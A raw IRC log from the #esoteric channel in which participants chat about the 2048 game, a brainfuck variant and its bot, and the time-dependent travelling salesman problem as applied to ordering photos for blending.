:kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i wanna take acid and play with d3.js demos for hours < 1395461628 181854 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Remote host closed the connection < 1395461664 337287 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395461901 307614 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://rudradevbasak.github.io/16384_hex/ < 1395461947 254245 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 265 seconds < 1395461962 408685 :nisstyre!~yourstrul@c-74-114-78-97.netflash.net JOIN :#esoteric < 1395461964 454977 :nisstyre!~yourstrul@c-74-114-78-97.netflash.net QUIT :Changing host < 1395461964 509878 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395462103 545608 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :shachaf: woah, SIGBOVIK preprint < 1395462794 3931 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395463259 963429 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :wat < 1395463339 143834 :idris-ircslave!~ircslave@dslb-092-072-133-213.pools.arcor-ip.net QUIT :Quit: Terminated < 1395464126 54969 :Sellyme_!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1395464275 89344 :contrapumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1395464327 419364 :copumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Read error: Connection reset by peer < 1395464411 988696 :Sellyme!~Sellyme@2605:4d00:0:2::7a QUIT :*.net *.split < 1395464413 65784 :Sellyme_!~Sellyme@fluttershy.is.bestpony.tk NICK :Sellyme < 1395464448 224568 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1395464594 631334 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1395464715 92683 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :i was thinking of writing a sigbovik paper, too < 1395464743 117959 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(Disclosure: I am an employee of Cablevision. My opinions are my own, and do not necessarily reflect the opinions of Cablevision) < 1395464754 625114 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I feel like I should be proud of my ISP http://blog.netflix.com/2014/03/internet-tolls-and-case-for-strong-net.html < 1395464755 641165 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric ::D < 1395464769 385608 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"Some major ISPs, like Cablevision, already practice strong net neutrality and for their broadband subscribers, the quality of Netflix and other streaming services is outstanding." < 1395464866 410080 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :did you actually just write that disclosure on irc < 1395464883 274281 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395464912 613696 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :what a coincidence, my opinions don't necessarily reflect cablevision's either < 1395464914 926870 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :elliott_: I think I'm supposed to? Well, at least on other social networks < 1395464923 891308 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Perhaps company policy requires you to make such a disclosure? < 1395464932 231644 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't know how the company policy works. < 1395465061 743516 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :zzo38: it does, pretty much. Not sure if I'm supposed to talk about that though. I _think_ I can < 1395465119 715895 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :is that thought owned by Cablevision < 1395465128 107604 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395465163 129940 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395465241 914090 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :disclosure: my opinions are mostly just cobbled together from the opinions of thousands of others. i've hardly had an original thought in my life. < 1395465321 183851 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"If it was never seen, never known, and never thought of, then you will not find it in the Book no matter how far you look, though, and I mean no offence, the chances of you ever having an original thought such as that are remote." < 1395465394 167746 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :What book? < 1395465404 147274 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 245 seconds < 1395465411 873858 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :the turner diaries < 1395465420 176256 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The universe < 1395465428 591253 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :zzo38: http://qntm.org/library < 1395465595 829754 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1395465814 921871 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :O, that Book. < 1395466361 370664 :password2!~password@197.78.167.229 JOIN :#esoteric < 1395466596 276621 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :HA! 1024!!!! < 1395466617 150290 :passwordBOT!~passwordB@197.78.167.229 JOIN :#esoteric < 1395466750 237737 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :[insert joke about factorials here] < 1395466767 96742 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :[insert sheep here] < 1395466804 431683 :password2!~password@197.78.167.229 PRIVMSG #esoteric :mmm, it was probably not a wise choice making my bf memory gor from -127 to +127 if my cell values gor 0-255 < 1395466850 342805 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.froup.com/tr/tr.pl?92 < 1395466852 539644 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :<3 T&R < 1395466859 335156 :passwordBOT!~passwordB@197.78.167.229 QUIT :Ping timeout: 240 seconds < 1395467113 428135 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.froup.com/tr/tr.pl?110 < 1395467416 386196 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1395468193 608822 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION got a 4096 tile. < 1395468196 775240 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :what a waste of time < 1395468343 799729 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Nite < 1395468512 847155 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1395468759 992912 :password2!~password@197.78.167.229 PRIVMSG #esoteric :wat < 1395468762 971041 :password2!~password@197.78.167.229 PRIVMSG #esoteric :lies < 1395468830 482717 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i only got to 1024 < 1395468874 264912 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :http://int-e.eu/~bf3/tmp/2048-3.png became http://int-e.eu/~bf3/tmp/2048-4.png < 1395469036 437095 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395469053 964937 :password2!~password@197.78.167.229 PRIVMSG #esoteric :woa < 1395469260 985248 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :2048 is the mind-killer < 1395469354 793312 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Politics is the 2048 < 1395469376 904631 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :kmc will not 2048. < 1395469414 162787 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :kmc prefers playing aleph-null < 1395469435 693608 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :that requires in infinite grid < 1395469452 162411 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :*an* < 1395469463 47790 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I *will* sleep now. Good night. < 1395469601 408953 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :so, how 'bout them Turing machines, eh? never know when they're gonna stop. < 1395469622 199038 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i made a brianfuck variant! < 1395469625 234920 :passwordBOT!~passwordB@197.78.167.229 JOIN :#esoteric < 1395469641 174856 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :I'm pretty sure the cardinality of the set of brainfuck variants actually is aleph-null. < 1395469649 706053 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :is it a combination brainfuck variant / 2048 game / web framework? < 1395469660 901272 :password2!~password@197.78.167.229 PRIVMSG #esoteric :nope < 1395469680 990244 :password2!~password@197.78.167.229 PRIVMSG #esoteric :it adds relative increase cell and decrease < 1395469715 152480 :password2!~password@197.78.167.229 PRIVMSG #esoteric :basically makes it pointer like < 1395469720 694331 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bf:++++++++++>++++++++++++<[->}-<] < 1395469724 169632 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :So, what, > that goes right a number of times based on the current cell? < 1395469741 939782 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :That does make array-like things much, much easier. < 1395469750 138290 :password2!~password@197.78.167.229 PRIVMSG #esoteric :no } increases the cell the pointer is pointing to < 1395469759 352824 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bfdump: < 1395469761 62174 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :0 2 0 1 1 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 < 1395469763 724535 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Don't invest in brainfuck derivatives. < 1395469778 73252 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :buy buy buy sell sell sell < 1395469792 788386 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :What is d brainfuck/dx, anyways? < 1395469801 352283 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :d brain / d fuck < 1395469825 115814 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :let's get all fancy ∂brain/∂fuck < 1395469831 867595 :password2!~password@197.78.167.229 PRIVMSG #esoteric :-__ < 1395469833 267453 :password2!~password@197.78.167.229 PRIVMSG #esoteric :- < 1395469836 478727 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Oh, nice, a partial one. < 1395469872 652997 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :The jacofuckyoubian < 1395469921 942399 :password2!~password@197.78.167.229 PRIVMSG #esoteric :a bit , didn't expect someone would actually whip out the correct symbol so fast < 1395469939 604359 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :kmc: What's the compose for that? < 1395469984 838226 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :dunno < 1395469989 183996 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :ACTION mutters < 1395470016 993090 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Most ever Brainfuckiest Fuck you Brain fucker Fuck < 1395470021 426603 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :why the muttering < 1395470038 295790 :password2!~password@197.78.167.229 PRIVMSG #esoteric :now to think of neat possibilities of my bfpointer thingy < 1395470092 305260 :passwordBOT!~passwordB@197.78.167.229 QUIT :Quit: Good < 1395470461 886373 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395471429 101680 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Remote host closed the connection < 1395471803 532433 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1395471992 391001 :MoALTz!~no@user-31-174-194-235.play-internet.pl JOIN :#esoteric < 1395472428 436997 :password2!~password@197.78.167.229 PRIVMSG #esoteric :err , i see now my modification to bf is very limited < 1395472514 397475 :password2!~password@197.78.167.229 PRIVMSG #esoteric :maybe if i make the looping relative too < 1395472981 81014 :password2!~password@197.78.167.229 PRIVMSG #esoteric :the syntax for moving a value got a bit simpler < 1395473258 279338 :Bike!~Glossina@71-222-39-26.ptld.qwest.net QUIT :Quit: nine hour < 1395475493 873054 :douglass_!~iridium@home-on-the-dome.mit.edu QUIT :Ping timeout: 264 seconds < 1395475504 393733 :douglass_!~iridium@home-on-the-dome.mit.edu JOIN :#esoteric < 1395476951 889227 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.froup.com/tr/tr.pl?538 < 1395477395 501643 :password2!~password@197.78.167.229 PRIVMSG #esoteric :nice < 1395477680 625831 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :The following sentence is false. < 1395477685 365431 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :The preceding sentence is true. < 1395477701 71524 :password2!~password@197.78.167.229 PRIVMSG #esoteric :This satement is false < 1395477713 429307 :password2!~password@197.78.167.229 PRIVMSG #esoteric :*statement < 1395477765 627902 :password2!~password@197.78.167.229 PRIVMSG #esoteric :while(x != !x) { x = !x;} < 1395478007 486635 :password2!~password@197.78.167.229 PRIVMSG #esoteric :that comic is random < 1395478674 283802 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395478752 8658 :AnotherTest!~turingcom@94-224-16-55.access.telenet.be JOIN :#esoteric < 1395478929 202922 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 245 seconds < 1395479006 42105 :conehead!~conehead@unaffiliated/conehead QUIT :Read error: Connection reset by peer < 1395480020 986199 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Are there solvers (or a name) for a generalized TSP where the distances between nodes can depend on the index of that edge on the path? (And with free start/end points and no need to return to the origin.) < 1395480735 290897 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(I guess that last condition is easy to reduce to the standard one by adding one vertex.) < 1395481045 339290 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :That sounds vaguely PSPACE-hard. < 1395481280 93806 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :isn't it still only NP-hard? at least the decision problem of whether you have a path of cost < n still only requires a polynomial-time-checkable witness < 1395481981 873685 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Suppose d(e, i) ≈ e/2^i, then paths can be arbitrarily long < 1395482945 354116 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :this sounds interesting < 1395483007 785599 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :however, how are those numbers given, it's probably very dangerous to give them via polytime turing machines < 1395483079 992235 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'm not even sure what e is in "d(e, i) ≈ e/2^i". < 1395483300 650166 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :it's the edge on the left and its weight on the right, maybe < 1395483319 976521 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Could be. < 1395483380 619283 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Also not sure about arbitrarily long, since i \in {1, ..., N}.) < 1395483409 760137 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :um < 1395483410 731200 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :why < 1395483435 461848 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :couldn't it be the fastest solution to wait for exponentially many steps at the first node (because up to that point, everything is very expensive) < 1395483445 101987 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :or does tsp have to be a hamiltonean path < 1395483458 465375 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I think it usually does. < 1395483471 52340 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Traditionally, a Hamiltonian cycle, even.) < 1395483478 267895 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :that's a bit weird imo < 1395483479 473797 :Melvar!~melvar@dslb-092-072-133-213.pools.arcor-ip.net QUIT :Ping timeout: 240 seconds < 1395483485 891128 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :well < 1395483500 240087 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i guess in the euclidean case it's fine < 1395483511 968309 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :because if you repeat a node, you could bypass it by triangle inequality < 1395483517 539584 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :and it'll be shorter < 1395483733 906288 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Wiki says that if you have a non-metric case without the triangle inequality, and allow for revisiting cities, you can replace that by doing regular TSP in the complete graph where d(A, B) is the shortest path between A and B in the original graph. < 1395483768 13893 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :sure < 1395483775 633230 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Presumably not so applicable for the case with time in it.) < 1395483782 750265 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :so okay, for tsp it's very reasonable < 1395483787 586849 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :but it's not reasonable for this version < 1395483821 599562 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :My underlying practical problem needs a Hamiltonian path, anyway. < 1395483826 260302 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :unless you already had an application in mind, i guess even the ugliest problem could be called reasonable if it's actually needed < 1395483830 792641 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :yeah < 1395483917 306419 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :@tell ais523 Jettyplay will happily encode something more than 4 (or is 2 the cutoff?) GiB in size but only writes a 0-byte file. I thought it'd be an easy fix but evidently the 4 GiB limit is due to the AVI format... < 1395483917 417624 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1395483996 49968 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Internet says the problem is called "Time Dependent Traveling Salesman Problem", which isn't terribly surprising. < 1395484046 674761 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :That's a really long ttyrec < 1395484047 983069 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i don't understand why hamiltonean < 1395484057 477349 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :is your application a secret? < 1395484084 514118 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :No, but it's too silly to speak of. < 1395484119 808065 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :can you think of a non-silly application? < 1395484158 872202 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :This TDTSP paper talks of "a number of important applications", but does not go into all that much detail. < 1395484170 836081 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Except mentioning that the Traveling Deliveryman Problem is a special case. < 1395484218 910121 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :oh important applications, those are pretty important < 1395484242 739922 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Also applicability of their algorithm to Vehicle Routing Problem variants. < 1395484242 863336 :passwordBOT!~passwordB@197.78.167.229 JOIN :#esoteric < 1395484269 646209 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://www.optimization-online.org/DB_FILE/2010/12/2872.pdf "THe Time Dependent Traveling Salesman Problem: Polyhedra and Algorithm", Abeledo et al., if you want to go chasing references or something. < 1395484400 183867 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :may i'll just believe them < 1395484444 310176 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 969 cycles < 1395484444 365278 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is: Hello World! < 1395484453 634607 :password2!~password@197.78.167.229 PRIVMSG #esoteric ::P < 1395484540 886342 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :My application is that I have a set of N aligned photos that I want to blend so that I take a narrow vertical column from each of them, and order the photos so that it minimizes the sum of the distances between adjacent photos, as considered in the region around the column, which I think is an instance of that. < 1395484680 471454 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Probably not one of the "important" ones.) < 1395484832 282607 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :How is that time-dependent? The distance between adjacent photos is fixed. < 1395484843 253307 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Jafet: "around the column" < 1395484857 993395 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :and column number = time. < 1395484909 673081 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :why is that not an instance of the usual version? what is time here? < 1395484915 129707 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :oh < 1395484918 250058 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :If the distance depends on more photos in either direction, then it is path-dependent, not time-dependent < 1395484922 892625 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :right right < 1395484933 11540 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :iow, depending on the column number, you compare different areas of the photos. < 1395484997 204381 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Oh, that is true. < 1395485054 28646 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes, that was exactly what I thought. (Though you could certainly generalize it further by involving more than just the adjacent photos.) < 1395485066 477480 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :fizzie: but why do you want a hamiltonean path? < 1395485089 880693 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :well why not i guess.. < 1395485098 253853 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :do you have as many pictures as columns? < 1395485129 443780 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I was going to just set the column width based on that. < 1395485137 437759 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I suppose fizzie wants to have exactly as many columns as pictures. < 1395485157 741157 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :ic < 1395485173 81919 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oklopol: I imagine (wild guess, probably wrong) it's for a website or similar displaying images, an index of the photos that can be rotated by dragging or the like. < 1395485199 106358 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's not for anything as useful as that, I just wanted to see what it looks like. < 1395485202 446011 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric ::D < 1395485213 334972 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(The photos are all of the same thing taken at different times.) < 1395485219 924360 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oh. < 1395485227 753789 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :For a small number of images, you could just use brute force. < 1395485260 326433 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :another kind of time lapse < 1395485260 437634 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Those are normally presented in chronological order, though. < 1395485266 455606 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :right :) < 1395485296 281039 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'll probably have about a hundred of them, and 100! is a big number. (But I could use some generic optimization things, sure.) < 1395485303 960824 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :but maybe the pictures are taken at random times of the day :) < 1395485333 219240 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :And the timestamps are lost. < 1395485341 552947 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :You could reduce this to weighted set cover by weighting each set {left_i, right_j} with the transition cost of left_i to right_j. The solution has to cover all {left_i} and all {right_j}. < 1395485392 939625 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There is a chronological order, but chronologically adjacent photos aren't especially similar here. < 1395485394 460176 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :(Weighted set cover is NP-complete by reduction to integer programming.) < 1395485411 744324 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Jafet: but ypu'll likely get a bunch of cycles that way. < 1395485448 835898 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :That's true. I guess you can add ILP constraints to restrict those. < 1395485542 632803 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Apparently the correct name is exact set cover. < 1395485571 912393 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric ::) < 1395485600 946479 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Why do we have so many names, anyway. They all have trivial reductions to ILP. < 1395485604 137422 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(I would have made the same mistake, hence the smile.) < 1395485616 246496 :nooodl_!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395485922 146256 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395485981 766110 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Jafet: I'm wondering about a (practically irrelevant) detail here. Assume we have an LP with integer variables but real coefficients. How big can an encoding of that using only integer coefficients be? < 1395486042 416023 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(in practice we are usually happy with rational coefficients and the question becomes easy to answer) < 1395486212 724348 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 252 seconds < 1395486243 140768 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :As we all know, real numbers are not real < 1395486294 101705 :password2!~password@197.78.167.229 PRIVMSG #esoteric :... < 1395486302 278640 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Ah, I can answer this; even with a single equation (to inequalities) the encoding can require arbitrarily large numbers, because with real coefficients, a single equation can encode a single integer point on a plane (or in Z^n if we wish). < 1395486311 13481 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :s/to/two/ < 1395486323 130501 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Since the equations are linear, though, they are going to define a polytope. So you probably only need to consider something like the field extension Q[√x] for whatever real x you're using. < 1395486342 77106 :elliott_!~elliott@unaffiliated/elliott QUIT :Quit: Reconnecting < 1395486350 133736 :elliott!~elliott@unaffiliated/elliott JOIN :#esoteric < 1395486381 210279 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :So if you have an oracle for arithmetic in Q[√x1][√x2]... < 1395486416 802194 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Note that I completely skirted the representation and computability issues. < 1395486428 352241 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :and actually < 1395486447 699155 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :it was a stupid question because ILP can't express x >= sqrt(2)*y < 1395486467 496429 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :What is the cost function? < 1395486482 357111 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :(The best cost function for that would obviously be x - sqrt(2)*y) < 1395486648 702655 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Ah. In my background we're just concerned with feasibility, so there is no cost function. It could be x - sqrt(2)*y and there could be additional constaints a <= x <= b to make it interesting (otherwise the answer will be 0). < 1395486670 884040 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :that is, (x,y) = (0,0) and cost = 0. < 1395486777 90176 :Melvar!~melvar@dslb-088-077-168-087.pools.arcor-ip.net JOIN :#esoteric < 1395486973 258615 :password2!~password@197.78.167.229 PRIVMSG #esoteric :did I just accidentally edit the noticE? < 1395486989 517929 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :? < 1395487031 687446 :int-e!~noone@static.88-198-179-137.clients.your-server.de 